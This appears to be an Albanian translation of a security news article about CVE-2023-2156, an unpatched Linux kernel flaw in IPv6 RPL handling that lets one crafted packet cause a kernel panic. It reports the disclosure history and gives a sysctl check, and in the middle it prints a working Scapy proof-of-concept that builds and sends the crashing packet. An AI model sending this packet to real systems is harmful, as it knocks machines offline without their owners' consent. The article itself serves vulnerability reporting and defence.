Dobësi 0-day në stack-un IPv6 të Linux, që lejon shkaktimin në distancë të rrëzimit të kernelit

Janë publikuar detaje për një cenueshmëri të parregulluar 0-day (CVE-2023-2156) në kernelin Linux, e cila lejon ndërprerjen e funksionimit të sistemit përmes dërgimit të paketave IPv6 të formuara posaçërisht (packet-of-death). Problemi shfaqet vetëm kur është aktivizuar mbështetja për protokollin RPL (Routing Protocol for Low-Power and Lossy Networks), i cili në distribucionet zakonisht është i çaktivizuar si parazgjedhje dhe përdoret kryesisht në pajisje të integruara që punojnë në rrjete pa tel me humbje të lartë paketash.

Cenueshmëria shkaktohet nga përpunimi i pasaktë i të dhënave të jashtme në kodin e analizës së protokollit RPL, gjë që çon në aktivizimin e një assert-dështimi dhe kalimin e kernelit në gjendjen panic. Kur në strukturën k_buff (Socket Buffer) vendosen të dhëna të marra nga analiza e kokës së paketës IPv6 RPL, nëse fusha CmprI ka vlerën 15, fusha Segleft është 1 dhe CmprE është 0, një vektor adresash prej 48 bajtesh shpaketohet në 528 bajte dhe krijohet një situatë ku memoria e alokuar për buffer-in nuk mjafton. Në këtë rast, në funksionin skb_push, që përdoret për vendosjen e të dhënave në strukturë, aktivizohet kontrolli për mospërputhjen midis madhësisë së të dhënave dhe buffer-it, duke gjeneruar gjendjen panic për të parandaluar shkrimin përtej kufijve të buffer-it.

Shembull i exploit-it: # We’ll use Scapy to craft the packet from scapy.all import * import socket # Use the IPv6 from your LAN interface DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # We use sockets to send the packet sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Craft the packet # Type = 3 makes this an RPL packet # Addresses contains 3 addresses, but because CmprI is 15, # each octet of the first two addresses is treated as a compressed address # Segleft = 1 to trigger the amplification # lastentry = 0xf0 sets CmprI to 15 and CmprE to 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) \/ IPv6ExtHdrSegmentRouting(type=3, addresses=[«a8::», «a7::», «a6::»], segleft=1, lastentry=0xf0) # Send this evil packet sockfd.sendto(bytes(p), (DST_ADDR, 0))

Vlen të theksohet se zhvilluesit e kernelit ishin njoftuar për këtë cenueshmëri që në janar 2022 dhe gjatë 15 muajve që pasuan u përpoqën tri herë ta zgjidhnin problemin, duke publikuar patch-e në shtator 2022, tetor 2022 dhe prill 2023, por çdo herë rregullimet rezultuan të pamjaftueshme dhe cenueshmëria mund të riprodhohej sërish. Në fund, projekti ZDI, i cili koordinoi punën për eliminimin e cenueshmërisë, vendosi të publikojë informacion të detajuar për të, pa pritur shfaqjen e një rregullimi funksional në kernel.

Kështu, cenueshmëria ende mbetet e pa korrigjuar. Përfshirë edhe faktin që patch-i i integruar në kernelin 6.4-rc2 nuk është efektiv. Përdoruesve u rekomandohet të kontrollojnë nëse protokolli RPL përdoret në sistemet e tyre, gjë që mund të bëhet me komandën sysctl -a | grep -i rpl_seg_enabled

Burimi: opennet.ru

Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster